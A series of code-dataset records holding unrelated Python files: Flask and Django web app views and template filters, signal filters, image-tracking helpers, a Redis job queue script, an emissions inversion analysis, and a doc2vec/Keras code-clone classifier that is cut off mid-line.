escola:\n return jsonify({'message': Messages.REGISTER_NOT_FOUND.format(escola_id), 'error': True})\n\n db.session.delete(escola)\n\n try:\n db.session.commit()\n return jsonify({'message': Messages.REGISTER_SUCCESS_DELETED.format(\"Escola\"), 'error': False})\n except exc.IntegrityError:\n return jsonify({'message': Messages.REGISTER_DELETE_INTEGRITY_ERROR, 'error': True})\n\n# --------------------------------------------------------------------------------------------------#\n","sub_path":"app/controllers/escolaController.py","file_name":"escolaController.py","file_ext":"py","file_size_in_byte":7132,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"137979808","text":"# Copyright 2008 Google Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"Django template library for Gerrit.\"\"\"\n\nimport cgi\nimport logging\n\nfrom google.appengine.api import mail\nfrom google.appengine.api import users\nfrom google.appengine.ext import db\n\nimport django.template\nimport django.utils.safestring\nfrom django.utils.safestring import mark_safe\nfrom django.utils.timesince import timesince\nfrom django.template import defaultfilters\n\nfrom memcache import CachedDict\n\nimport email\nimport models\nimport view_util\n\nregister = django.template.Library()\n\nclass _CachedUser(object):\n \"\"\"Important data about an Account, pickled into memcache for\n faster access when rendering pages to clients.\n \"\"\"\n email = None\n real_name = None\n exists = False\n\ndef _store_users(emails):\n def _cache(pair):\n email, account = pair\n r = _CachedUser()\n if account:\n r.email = account.email\n r.real_name = account.real_name\n r.exists = account.real_name_entered\n else:\n r.email = email\n r.real_name = email\n if '@' in r.real_name:\n r.real_name = r.real_name.split('@', 1)[0]\n if r.real_name is None:\n r.real_name = 'Unknown Person (%s)' % r.email\n return r\n all = zip(emails, models.Account.get_accounts_for_emails(emails))\n return map(_cache, all)\n_user_cache = CachedDict(prefix = 'CachedUser:',\n compute_multi = _store_users,\n timeout = 300)\n\ndef _to_email(u):\n if isinstance(u, users.User):\n return u.email()\n return u\n\ndef prefetch_names(emails):\n _user_cache.prefetch(map(_to_email, emails))\n\n\n@register.filter\ndef real_name(email, arg=None):\n \"\"\"Render an email address or a User object as a real_name.\n\n If the input is a user object that equals the current user,\n 'me' is returned, unless the filter argument is non-empty.\n Example:\n {{foo|real_name}} may render 'me';\n {{foo|real_name:\"x\"}} will never render 'me'.\n \"\"\"\n return real_names([email], arg)\n\n@register.filter\ndef real_names(email_list, arg=None):\n \"\"\"Render a list of email addresses or User objects as real_names.\n\n Each list item is first formatter via the real_name() filter above,\n and then the resulting strings are separated by commas.\n The filter argument is the same as for real_name() above.\n \"\"\"\n if arg:\n user = None\n else:\n user = users.get_current_user()\n\n email_list = map(_to_email, email_list)\n all = _user_cache.get_multi(email_list)\n\n names = []\n for email in email_list:\n if user and user.email() == email:\n names.append('me')\n else:\n names.append(all[email].real_name)\n return ', '.join(names)\n\n\n@register.filter\ndef show_user(email, arg=None):\n \"\"\"Render a link to the user's dashboard, with text being\n the real_name.\n \"\"\"\n return show_users([email], arg)\n\n@register.filter\ndef show_users(email_list, arg=None):\n \"\"\"Render list of links to each user's dashboard, with text\n being the real_name.\n \"\"\"\n if arg:\n user = None\n else:\n user = users.get_current_user()\n\n email_list = map(_to_email, email_list)\n all = _user_cache.get_multi(email_list)\n\n names = []\n for email in email_list:\n if user and user.email() == email:\n names.append('me')\n else:\n u = all[email]\n if u.exists:\n names.append(\n ''\n '%(name)s'\n % {'link': cgi.escape(u.email.replace('@',',,')),\n 'name': cgi.escape(u.real_name)}\n )\n else:\n names.append(cgi.escape(u.real_name))\n return mark_safe(', '.join(names))\n\n\ndef _init_lgtm_text():\n r = {}\n for key, value in models.LGTM_CHOICES:\n r[key] = value\n return r\n_lgtm_text = _init_lgtm_text()\n\n@register.filter\ndef review_status_text(status, arg=None):\n try:\n return _lgtm_text[status]\n except KeyError:\n return ''\n\n\n_lgtm_icon = {\n 'lgtm': mark_safe(''),\n 'yes': mark_safe('+1'),\n 'abstain': '',\n 'no': mark_safe('-1'),\n 'reject': mark_safe(''),\n}\n\n@register.filter\ndef review_status_icons(status, arg=None):\n try:\n return _lgtm_icon[status]\n except KeyError:\n return ''\n\n\n@register.filter\ndef form_xsrf(url, arg=None):\n x = view_util.xsrf_for(url)\n return mark_safe('' % x)\n\n@register.filter\ndef bare_xsrf(url, arg=None):\n return mark_safe(view_util.xsrf_for(url))\n\n_abbrev_units = {\n 'year': 'y', 'years': 'y',\n 'month': 'mo', 'months': 'm',\n 'week': 'w', 'weeks': 'w',\n 'day': 'd', 'days': 'd',\n 'hour': 'h', 'hours': 'h',\n 'minute': 'min', 'minutes': 'mins',\n}\n\n@register.filter\ndef abbrevtimesince(d, arg=None):\n r = []\n for p in timesince(d).split(', '):\n cnt, unit = p.split(' ', 2)\n try:\n r.append('%s %s' % (cnt, _abbrev_units[unit]))\n except KeyError:\n r.append(p)\n return ', '.join(r)\n\n\ndef change_url(change):\n base = models.Settings.get_settings().canonical_url\n return \"%s/%s\" % (base, change.key().id())\n\n@register.filter\ndef closed_label(change, arg=None):\n if change.closed:\n if change.merged:\n return '(Merged)'\n else:\n return '(Abandoned)'\n else:\n return ''\n\n@register.filter\ndef patchset_browse_url(patchset, arg=None):\n pattern = models.Settings.get_settings().source_browser_url\n return pattern % {\n 'id': patchset.revision_hash(),\n 'project': patchset.change.dest_project.name,\n }\n\n@register.filter\ndef file_leaf(filename, arg=None):\n parts = filename.rsplit('/', 1)\n return parts[-1]\n\ndef _find_review_status_for_user(review_statuses, user):\n for rs in review_statuses:\n if rs.user == user:\n return rs\n return None\n\ndef update_reviewers(change, old_review_status, new_users):\n \"\"\"Update the reviewers for a change\n\n ****\n Should be called in a transaction. You need to call put()\n for each of the ReviewStatus objects in added_review_status and\n delete() for each of the ReviewStatus objects in deleted_review_status.\n ****\n\n Returns:\n A tuple of ReviewStatus objects of:\n 0 - the new ones that were added\n 1 - the ones that were deleted\n 2 - the new set of review status objects\n \"\"\"\n new_review_status = []\n added_review_status = []\n deleted_review_status = []\n for u in new_users:\n rs = _find_review_status_for_user(old_review_status, u)\n if not rs:\n rs = models.ReviewStatus.insert_status(change, u)\n rs.lgtm = 'abstain'\n rs.verified = False\n added_review_status.append(rs)\n new_review_status.append(rs)\n for rs in old_review_status:\n if rs not in new_review_status:\n deleted_review_status.append(rs)\n change.set_reviewers([db.Email(rs.user.email()) for rs\n in new_review_status])\n\n return (added_review_status, deleted_review_status, new_review_status)\n\ndef send_new_change_emails(change, sender_user, to_users, cc_emails,\n additional_message = \"\"):\n if to_users or cc_emails:\n sender_account = models.Account.get_account_for_user(sender_user)\n sender_string = email.get_default_sender()\n to_strings = email.make_to_strings(set(to_users + [sender_user]))\n cc_strings = email.make_to_strings(cc_emails)\n subject = email.make_change_subject(change)\n message_body = make_please_review_message(change, sender_account) + '\\n' \\\n + additional_message\n\n email_message = mail.EmailMessage(sender=sender_string,\n subject=subject,\n body=message_body)\n if to_strings:\n email_message.to = to_strings\n if cc_strings:\n email_message.cc = cc_strings\n email_message.send()\n\ndef make_please_review_message(change, account):\n description = defaultfilters.wordwrap(change.description, 70)\n description = ' ' + description.replace('\\n', '\\n ')\n sentence = defaultfilters.wordwrap(\n \"%(account)s has asked that you review this change.\" % {\n 'account': account.get_email_formatted(),\n }, 70)\n return \"\"\"Hi,\n\n%(sentence)s\n\n %(url)s\n\nThanks.\n\nThe commit message for this change is:\n%(description)s\n\"\"\" % { 'url': change_url(change),\n 'sentence': sentence,\n 'description': description,\n }\n\n\n","sub_path":"webapp/codereview/library.py","file_name":"library.py","file_ext":"py","file_size_in_byte":8843,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"625245211","text":"class filter:\n\n # EWMA filter\n ewma_has_initial = False\n ewma_alpha = 1\n ewma_output = 0\n\n def ewma_filter_reset(alpha=1):\n filter.ewma_alpha = alpha\n filter.ewma_output = 0\n filter.ewma_has_initial = False\n\n def ewma_set_alpha(alpha):\n filter.ewma_alpha = alpha\n\n def ewma_filter(input):\n if filter.ewma_has_initial:\n filter.ewma_output = filter.ewma_alpha * (input - filter.ewma_output) + filter.ewma_output\n else:\n filter.ewma_output = input\n filter.ewma_has_initial = True\n return filter.ewma_output\n\n # IIR filter\n iir_output = 0\n iir_factor = 1\n iir_has_initial = False\n\n def iir_filter_reset(factor=1):\n filter.iir_output = 0\n filter.iir_factor = factor\n filter.iir_has_initial = False\n\n def iir_set_factor(factor):\n filter.iir_factor = factor\n\n def iir_filter(input):\n if filter.iir_has_initial:\n filter.iir_output = ( ( (filter.iir_output*(filter.iir_factor-1)) + input) / (filter.iir_factor) )\n return filter.iir_output\n else:\n filter.iir_output = input\n filter.iir_has_initial = True\n return input\n\n # Average filter\n average_samples = 1\n average_table = []\n average_has_initial = False\n\n def average_filter_reset(nums = 1):\n filter.average_samples = nums\n filter.average_table = []\n filter.average_has_initial = False\n\n def average_set_samples(nums):\n filter.average_samples = nums\n\n def average_filter(input):\n if filter.average_has_initial:\n sum = 0\n filter.average_table.append(input)\n filter.average_table.pop(0)\n for i in range (len(filter.average_table)):\n sum = sum + filter.average_table[i]\n return float(sum/filter.average_samples)\n else:\n filter.average_table = [input] * filter.average_samples\n filter.average_has_initial = True\n return input\n\n\n","sub_path":"examples/filters.py","file_name":"filters.py","file_ext":"py","file_size_in_byte":1833,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"642182791","text":"from flask import render_template, redirect, url_for, flash, request\nfrom flask_login import login_required, current_user\n\nfrom app.config import (\n DISABLE_ALIAS_SUFFIX,\n ALIAS_DOMAINS,\n)\nfrom app.dashboard.base import dashboard_bp\nfrom app.email_utils import email_belongs_to_alias_domains, get_email_domain_part\nfrom app.extensions import db\nfrom app.log import LOG\nfrom app.models import GenEmail, CustomDomain, DeletedAlias\nfrom app.utils import convert_to_id, random_word, word_exist\n\n\n@dashboard_bp.route(\"/custom_alias\", methods=[\"GET\", \"POST\"])\n@login_required\ndef custom_alias():\n # check if user has not exceeded the alias quota\n if not current_user.can_create_new_alias():\n # notify admin\n LOG.error(\"user %s tries to create custom alias\", current_user)\n flash(\n \"You have reached free plan limit, please upgrade to create new aliases\",\n \"warning\",\n )\n return redirect(url_for(\"dashboard.index\"))\n\n user_custom_domains = [cd.domain for cd in current_user.verified_custom_domains()]\n # List of (is_custom_domain, alias-suffix)\n suffixes = []\n\n # put custom domain first\n for alias_domain in user_custom_domains:\n suffixes.append((True, \"@\" + alias_domain))\n\n # then default domain\n for domain in ALIAS_DOMAINS:\n suffixes.append(\n (\n False,\n (\"\" if DISABLE_ALIAS_SUFFIX else \".\" + random_word()) + \"@\" + domain,\n )\n )\n\n if request.method == \"POST\":\n alias_prefix = request.form.get(\"prefix\")\n alias_suffix = request.form.get(\"suffix\")\n\n if verify_prefix_suffix(\n current_user, alias_prefix, alias_suffix, user_custom_domains\n ):\n full_alias = alias_prefix + alias_suffix\n\n if GenEmail.get_by(email=full_alias) or DeletedAlias.get_by(\n email=full_alias\n ):\n LOG.d(\"full alias already used %s\", full_alias)\n flash(\n f\"Alias {full_alias} already exists, please choose another one\",\n \"warning\",\n )\n else:\n gen_email = GenEmail.create(user_id=current_user.id, email=full_alias)\n\n # get the custom_domain_id if alias is created with a custom domain\n alias_domain = get_email_domain_part(full_alias)\n custom_domain = CustomDomain.get_by(domain=alias_domain)\n if custom_domain:\n gen_email.custom_domain_id = custom_domain.id\n\n db.session.commit()\n flash(f\"Alias {full_alias} has been created\", \"success\")\n\n return redirect(\n url_for(\"dashboard.index\", highlight_gen_email_id=gen_email.id)\n )\n # only happen if the request has been \"hacked\"\n else:\n flash(\"something went wrong\", \"warning\")\n\n return render_template(\"dashboard/custom_alias.html\", **locals())\n\n\ndef verify_prefix_suffix(user, alias_prefix, alias_suffix, user_custom_domains) -> bool:\n \"\"\"verify if user could create an alias with the given prefix and suffix\"\"\"\n if not alias_prefix or not alias_suffix: # should be caught on frontend\n return False\n\n alias_prefix = alias_prefix.strip()\n alias_prefix = convert_to_id(alias_prefix)\n\n # make sure alias_suffix is either .random_word@simplelogin.co or @my-domain.com\n alias_suffix = alias_suffix.strip()\n if alias_suffix.startswith(\"@\"):\n alias_domain = alias_suffix[1:]\n # alias_domain can be either custom_domain or if DISABLE_ALIAS_SUFFIX, one of the default ALIAS_DOMAINS\n if DISABLE_ALIAS_SUFFIX:\n if (\n alias_domain not in user_custom_domains\n and alias_domain not in ALIAS_DOMAINS\n ):\n LOG.error(\"wrong alias suffix %s, user %s\", alias_suffix, user)\n return False\n else:\n if alias_domain not in user_custom_domains:\n LOG.error(\"wrong alias suffix %s, user %s\", alias_suffix, user)\n return False\n else:\n if not alias_suffix.startswith(\".\"):\n LOG.error(\"User %s submits a wrong alias suffix %s\", user, alias_suffix)\n return False\n\n full_alias = alias_prefix + alias_suffix\n if not email_belongs_to_alias_domains(full_alias):\n LOG.error(\n \"Alias suffix should end with one of the alias domains %s\",\n user,\n alias_suffix,\n )\n return False\n\n random_word_part = alias_suffix[1 : alias_suffix.find(\"@\")]\n if not word_exist(random_word_part):\n LOG.error(\n \"alias suffix %s needs to start with a random word, user %s\",\n alias_suffix,\n user,\n )\n return False\n\n return True\n","sub_path":"app/dashboard/views/custom_alias.py","file_name":"custom_alias.py","file_ext":"py","file_size_in_byte":4929,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"50666371","text":"from fhog import *\n\n\n# ffttools\ndef fftd(img, backwards=False):\n # shape of img can be (m,n), (m,n,1) or (m,n,2)\n # in my test, fft provided by numpy and scipy are slower than cv2.dft\n return cv2.dft(np.float32(img), flags=(\n (cv2.DFT_INVERSE | cv2.DFT_SCALE) if backwards else cv2.DFT_COMPLEX_OUTPUT)) # 'flags =' is necessary!\n\n\ndef real(img):\n return img[:, :, 0]\n\n\ndef imag(img):\n return img[:, :, 1]\n\n\ndef complexMultiplication(a, b):\n res = np.zeros(a.shape, a.dtype)\n\n res[:, :, 0] = a[:, :, 0] * b[:, :, 0] - a[:, :, 1] * b[:, :, 1]\n res[:, :, 1] = a[:, :, 0] * b[:, :, 1] + a[:, :, 1] * b[:, :, 0]\n return res\n\n\ndef complexDivision(a, b):\n res = np.zeros(a.shape, a.dtype)\n divisor = 1. / (b[:, :, 0] ** 2 + b[:, :, 1] ** 2)\n\n res[:, :, 0] = (a[:, :, 0] * b[:, :, 0] + a[:, :, 1] * b[:, :, 1]) * divisor\n res[:, :, 1] = (a[:, :, 1] * b[:, :, 0] + a[:, :, 0] * b[:, :, 1]) * divisor\n return res\n\n\ndef rearrange(img):\n # return np.fft.fftshift(img, axes=(0,1))\n assert (img.ndim == 2)\n img_ = np.zeros(img.shape, img.dtype)\n xh, yh = img.shape[1] / 2, img.shape[0] / 2\n img_[0:yh, 0:xh], img_[yh:img.shape[0], xh:img.shape[1]] = img[yh:img.shape[0], xh:img.shape[1]], img[0:yh, 0:xh]\n img_[0:yh, xh:img.shape[1]], img_[yh:img.shape[0], 0:xh] = img[yh:img.shape[0], 0:xh], img[0:yh, xh:img.shape[1]]\n return img_\n\n\n# recttools\ndef x2(rect):\n return rect[0] + rect[2]\n\n\ndef y2(rect):\n return rect[1] + rect[3]\n\n\ndef limit(rect, limit):\n if (rect[0] + rect[2] > limit[0] + limit[2]):\n rect[2] = limit[0] + limit[2] - rect[0]\n if (rect[1] + rect[3] > limit[1] + limit[3]):\n rect[3] = limit[1] + limit[3] - rect[1]\n if (rect[0] < limit[0]):\n rect[2] -= (limit[0] - rect[0])\n rect[0] = limit[0]\n if (rect[1] < limit[1]):\n rect[3] -= (limit[1] - rect[1])\n rect[1] = limit[1]\n if (rect[2] < 0):\n rect[2] = 0\n if (rect[3] < 0):\n rect[3] = 0\n return rect\n\n\ndef getBorder(original, limited):\n res = [0, 0, 0, 0]\n res[0] = limited[0] - original[0]\n res[1] = limited[1] - original[1]\n res[2] = x2(original) - x2(limited)\n res[3] = y2(original) - y2(limited)\n assert (np.all(np.array(res) >= 0))\n return res\n\n\ndef subwindow(img, window, borderType=cv2.BORDER_CONSTANT):\n cutWindow = [x for x in window]\n limit(cutWindow, [0, 0, img.shape[1], img.shape[0]]) # modify cutWindow\n assert (cutWindow[2] > 0 and cutWindow[3] > 0)\n border = getBorder(window, cutWindow)\n res = img[cutWindow[1]:cutWindow[1] + cutWindow[3], cutWindow[0]:cutWindow[0] + cutWindow[2]]\n\n if border != [0, 0, 0, 0]:\n res = cv2.copyMakeBorder(res, border[1], border[3], border[0], border[2], borderType)\n return res\n\n","sub_path":"kcf_helper_function.py","file_name":"kcf_helper_function.py","file_ext":"py","file_size_in_byte":2784,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"278470109","text":"#!/usr/bin/env python3\n\nfrom redis import Redis\nfrom rq import Queue\nfrom threading import Thread\nimport logging\nfrom time import time\nfrom work import setup_download_dir, aggregate_files_to_do_work_on, edb_work\n\nlogging.basicConfig(level=logging.DEBUG,format='%(asctime)s - %(name)s - %(levelname)s - %(message)s')\nlogging.getLogger('requests').setLevel(logging.CRITICAL)\nlogger = logging.getLogger(__name__)\n\n\nclass DownloadWorker(Thread):\n def __init__(self, queue):\n Thread.__init__(self)\n self.queue = queue\n\n def run(self):\n while True:\n # get work from queue and expand the tuple\n file = self.queue.get()\n edb_work(file)\n self.queue.task_done()\n\n\ndef main():\n ts = time()\n\n # prep directory to store output\n download_dir = setup_download_dir()\n\n # get links for work\n files = aggregate_files_to_do_work_on()\n\n # Create a queue to communicate with the worker threads\n q = Queue(connection=Redis(host='localhost', port=6379))\n\n # Put the tasks into the queue as a tuple\n for file in files:\n logger.info('Queueing {}'.format(file))\n q.enqueue(edb_work, file)\n\n print('Took {}'.format(time() - ts))\n\n\nif __name__ == '__main__':\n print(\"Testing Multi Threading\")\n main()\n","sub_path":"multiple_computers/multi_threading_redis.py","file_name":"multi_threading_redis.py","file_ext":"py","file_size_in_byte":1294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"390160713","text":"import copy\nimport os\nfrom os.path import join\nimport sys\nimport math\nimport itertools\n\nsys.path.append('./python/')\nimport inversion as inv\nimport jacobian as j\n\nimport xarray as xr\nimport numpy as np\n\nimport pandas as pd\nfrom scipy.sparse import diags, identity\nfrom scipy import linalg, stats\n\nfrom matplotlib import colorbar, colors, rcParams\nfrom matplotlib.colors import LinearSegmentedColormap\nfrom matplotlib.collections import PolyCollection\nimport matplotlib.pyplot as plt\nimport matplotlib.table as tbl\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom scipy.ndimage import zoom\nimport cartopy.crs as ccrs\nimport cartopy\nfrom cartopy.mpl.patch import geos_to_path\n\nsys.path.append('../Python/')\nimport format_plots as fp\nimport config\n\n#########################\n### PLOTTING DEFAULTS ###\n#########################\n\n# rcParams default\nrcParams['font.family'] = 'sans-serif'\nrcParams['font.sans-serif'] = 'Arial'\nrcParams['font.size'] = config.LABEL_FONTSIZE*config.SCALE\nrcParams['text.usetex'] = True\n\n# Colormaps\nc = plt.cm.get_cmap('inferno', lut=10)\nplasma_trans = fp.cmap_trans('plasma')\nplasma_trans_r = fp.cmap_trans('plasma_r')\n\n# Small (i.e. non-default) figure settings\nsmall_fig_kwargs = {'max_width' : config.BASE_WIDTH,\n 'max_height' : config.BASE_HEIGHT}\nsmall_map_kwargs = {'draw_labels' : False}\n\n######################\n### FILE LOCATIONS ###\n######################\nmain = '/Users/hannahnesser/Documents/Harvard/Research/Reduced_Rank_Jacobian'\nplots = join(main, 'plots')\ncode = join(main, 'python')\ninputs = join(main, 'input')\n\n#################\n### LOAD DATA ###\n#################\n\n# Import clusters\nclusters = xr.open_dataarray(join(inputs, 'clusters_1x125.nc'))\nclusters_plot = xr.open_dataarray(join(inputs, 'clusters_1x125_plot.nc'))\n\n# Load estimated and true Jacobian\nk_est = xr.open_dataarray(join(inputs, 'k_est.nc'))\nk_est_sparse = xr.open_dataarray(join(inputs, 'k_est_sparse.nc'))\nk_true = xr.open_dataarray(join(inputs, 'k_true.nc'))\n\n# Load prior and error\nxa = xr.open_dataarray(join(inputs, 'xa.nc'))\nxa_abs = xr.open_dataarray(join(inputs, 'xa_abs.nc'))\n# sa_vec = xr.open_dataarray(join(inputs, 'sa_vec.nc'))\nsa_vec = 0.25*np.ones(xa.shape[0])\n\n# Load observations and error\ny = xr.open_dataarray(join(inputs, 'y.nc'))\ny_base = xr.open_dataarray(join(inputs, 'y_base.nc'))\nso_vec = xr.open_dataarray(join(inputs, 'so_vec.nc'))\n\n# Load the gridded observations\nobs = pd.read_csv(join(inputs, 'sat_obs.gosat.00.m'),\n delim_whitespace=True,\n header=0)\nobs['GOSAT'] *= 1e9\nobs['model'] *= 1e9\nobs = obs[obs['GLINT'] == False]\nobs = obs[['NNN', 'LON', 'LAT', 'GOSAT', 'model']]\nobs = obs.rename(columns={'LON' : 'lon',\n 'LAT' : 'lat',\n 'NNN' : 'Nobs'})\n\n#####################\n### SET CONSTANTS ###\n#####################\n\nRF = 5\n\n############\n### TRUE ###\n############\n\n# Create a true Reduced Rank Jacobian object\ntrue = inv.ReducedRankJacobian(k_true.values,\n xa.values,\n sa_vec,\n y.values,\n y_base.values,\n so_vec.values)\ntrue.model_runs = true.nstate\ntrue.xa_abs = xa_abs*1e3\ntrue.rf = RF\n\n# Complete an eigendecomposition of the prior pre-\n# conditioned Hessian, filling in the eigenvalue\n# and eigenvector attributes of true.\ntrue.edecomp()\n\n# Solve the inversion, too.\ntrue.solve_inversion()\n\n########################\n### INITIAL ESTIMATE ###\n########################\n\nest0 = inv.ReducedRankJacobian(k_est.values,\n xa.values,\n sa_vec,\n y.values,\n y_base.values,\n so_vec.values)\nest0.xa_abs = xa_abs *1e3\nest0.rf = RF\nest0.edecomp()\nest0.solve_inversion()\n\n#######################################\n### SENSITIVITY TESTS: REDUCED RANK ###\n#######################################\n\n# DON'T RERUN UNLESS ABSOLUTELY NECESSARY\nn = 41\nr2_summ = np.zeros((n, n))\nnc_summ = np.zeros((n, n))\nnm_summ = np.zeros((n, n))\ndofs_summ = np.zeros((n, n))\nindices = np.concatenate(([1], np.arange(25, 1025, 25)))\nfor col, first_update in enumerate(indices):\n for row, second_update in enumerate(indices):\n test1 = est0.update_jacobian(true.k, rank=first_update)\n test2 = test1.update_jacobian(true.k, rank=second_update)\n mask = np.diag(test2.a) > 0.01\n test2_f, true_f = test2.filter(true, mask)\n _, _, r = test2_f.calc_stats(true_f.xhat, test2_f.xhat)\n\n r2_summ[row, col] = r**2\n nc_summ[row, col] = len(test2_f.xhat)\n nm_summ[row, col] = test2_f.model_runs\n dofs_summ[row, col] = np.trace(test2.a)\n\nnp.save(join(inputs, 'r2_summary'), r2_summ)\nnp.save(join(inputs, 'nc_summary'), nc_summ)\nnp.save(join(inputs, 'nm_summary'), nm_summ)\nnp.save(join(inputs, 'dofs_summary'), dofs_summ)\n","sub_path":"python/jacobian_rr_sensitivity.py","file_name":"jacobian_rr_sensitivity.py","file_ext":"py","file_size_in_byte":4978,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"189858299","text":"from __future__ import print_function\n\nimport numpy as np\n#from matplotlib import pyplot as plt\n#import seaborn as sns\n#from sklearn import datasets\nimport pandas as pd\nimport glob\nimport os\n#from sklearn.model_selection import cross_validate\n#from sklearn.model_selection import KFold\n#from sklearn.preprocessing import StandardScaler\n#from sklearn.datasets import make_moons, make_circles, make_classification\n#from sklearn.neural_network import MLPClassifier\n#from sklearn.neighbors import KNeighborsClassifier\n#from sklearn.svm import SVC\n#from sklearn.gaussian_process import GaussianProcessClassifier\n#from sklearn.gaussian_process.kernels import RBF\n#from sklearn.tree import DecisionTreeClassifier\n#from sklearn.ensemble import RandomForestClassifier, AdaBoostClassifier\n#from sklearn.naive_bayes import GaussianNB\n#from sklearn.discriminant_analysis import QuadraticDiscriminantAnalysis\nimport time\n#from sklearn.model_selection import train_test_split\nimport random\nfrom gensim.models.doc2vec import Doc2Vec, TaggedDocument\n\nimport tensorflow as tf\nfrom keras.models import Model\nfrom keras.layers import Dense, Flatten, Dropout, Activation, Input, Lambda\nfrom keras.layers.normalization import BatchNormalization\nfrom keras.layers.pooling import GlobalAveragePooling1D\nfrom keras.utils import np_utils, Sequence\nfrom keras.utils.vis_utils import plot_model\nimport keras as K\nimport numpy as np\nimport pandas as pd\n#import os\nimport time\n\n#import matplotlib\n#from matplotlib.ticker import NullFormatter\n#from sklearn.decomposition import PCA\nfrom sklearn.metrics import precision_recall_fscore_support, accuracy_score\nfrom sklearn.model_selection import StratifiedKFold\nfrom sklearn.utils import class_weight, shuffle\n#import matplotlib.pyplot as plt\n#from mpl_toolkits.mplot3d import Axes3D\nfrom collections import defaultdict\n\n\nbin_vec_dim = None\n#embedding_dim = 6\n#dim = 128\n#keep_prob = 0.6\n\nbatch_size = 256\n#test_size = 256\n\n\n# disable tensorflow debugging information\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'\n\nlogdir = '/tmp/logs'\n\nkernel_init = K.initializers.VarianceScaling(scale=1.0, mode='fan_avg',\n distribution='uniform')\nbias_init = K.initializers.Constant(value=0.01)\n\ndef listup_files(path):\n return [os.path.abspath(p) for p in glob.glob(path, recursive=True)]\n\ndef load_documents():\n files = listup_files('gcj/*/*.java')\n documents = []\n tags = []\n for file in files:\n with open(file) as f:\n d = f.read()\n if len(d.split()) > 0:\n documents.append(d)\n tags.append(os.path.basename(os.path.dirname(file)))\n\n return documents, tags \n\ndef train_docvecs(documents):\n t_beg = time.clock()\n texts = [[word for word in document.split() ] for document in documents]\n\n frequency = defaultdict(int)\n for text in texts:\n for token in text:\n frequency[token] += 1\n\n # frequency変数で1より上の単語のみを配列に構築\n texts = [[token for token in text if frequency[token] > 1] for text in texts]\n\n sentences = [TaggedDocument(text, [i]) for i, text in enumerate(texts)]\n model = Doc2Vec(sentences, dm=1, vector_size=300, window=5, min_count=1, workers=4, epochs=600, sample = 1e-3, seed=1)\n t_end = time.clock()\n print('*' * 80)\n print('Vectorization :')\n print('Time cost: %.2f' % (t_end - t_beg))\n \n model.save(\"model/pvdm.model\")\n\n fout.write('*' * 80 + '\\n')\n fout.write('Vectorization :\\n')\n fout.write('Time cost: %.2f\\n' % (t_end - t_beg))\n fout.flush()\n dv = np.array([model.infer_vector(text) for text in texts])\n return dv\n\ndef load_dataset(dv, tags):\n global bin_vec_dim\n bin_vec_dim = dv.shape[1]\n \n parameter = dv.shape[0]\n sample = parameter * (parameter-1) // 2 + parameter\n X_left = np.empty((sample, dv.shape[1]))\n X_right = np.empty((sample, dv.shape[1]))\n t = np.empty(sample)\n count = 0\n for i in range(parameter):\n for j in range(i, parameter):\n X_left[count] = dv[i]\n X_right[count] = dv[j]\n t[count] = (1 if tags[i] == tags[j] else 0)\n count += 1\n \n return X_left, X_right, t\n\ndef classification(x1, x2):\n input = Input(shape=(bin_vec_dim,))\n concat_input = Input(shape=(bin_vec_dim*2,))\n # share layers\n merge_model = Model(inputs=concat_input,\n outputs=Activation(activation='relu')(\n BatchNormalization()(\n Dense(100, kernel_initializer=kernel_init,\n bias_initializer=bias_init,\n input_shape=(bin_vec_dim*2,))(\n concat_input))))\n \n xc1 = K.layers.concatenate([x1, x2])\n xc1 = merge_model(xc1)\n \n xc2 = K.layers.concatenate([x2, x1])\n xc2 = merge_model(xc2)\n \n xc = K.layers.average([xc1, xc2])\n \n x = Dense(1, use_bias=False, activation='sigmoid',\n kernel_initializer=kernel_init,\n batch_input_shape=K.backend.get_variable_shape(xc))(xc)\n \n return x\n \ndef train_10_fold_balanced(dv, tags):\n Xl, Xr, y = load_dataset(dv, tags)\n Xl, Xr, y = shuffle(Xl, Xr, y, random_state=0)\n skf = StratifiedKFold(n_splits=10)\n avg_accuracy = 0.\n avg_recall = 0.\n avg_precision = 0.\n avg_f1_score = 0.\n fold_index = 0\n \n \n \n for train_idx, test_idx in skf.split(Xl, y):\n t_beg = time.clock()\n print ('*' * 40 + str(fold_index) + '*' * 40)\n fold_path = os.path.join(\"pvdm\", str(fold_index))\n if os.path.exists(\"pvdm\") is not True:\n os.mkdir(\"pvdm\")\n if os.path.exists(fold_path) is not True:\n os.mkdir(fold_path)\n train_X_left = Xl[train_idx]\n train_X_right = Xr[train_idx]\n train_Y = y[train_idx]\n \n train_X_left, train_X_right, train_Y = shuffle(train_X_left,\n train_X_right, train_Y, random_state=0)\n \n test_X_left = Xl[test_idx]\n test_X_right = Xr[test_idx]\n test_Y = y[test_idx]\n \n validate_X_left = test_X_left[:256]\n validate_X_right = test_X_right[:256]\n validate_Y = test_Y[:256]\n\n X_left = Input(shape=(bin_vec_dim, ))\n X_right = Input(shape=(bin_vec_dim, ))\n\n predictions = classification(X_left, X_right)\n\n model = Model(inputs=[X_left, X_right], outputs=predictions)\n\n model.compile(optimizer=K.optimizers.adam(lr=0.001),\n loss=K.losses.binary_crossentropy,\n metrics=['accuracy'])\n model.fit([train_X_left, train_X_right], train_Y,\n epochs=4,verbose=1, batch_size=batch_size)\n\n t_end = time.clock()\n print('Time cost: %.2f' % (t_end - t_beg))\n \n model.save(filepath=os.path.join(fold_path, 'model.ckpt'))\n \n y_pred = model.predict([test_X_left, test_X_right], verbose=1, batch_size=batch_size)\n y_pred 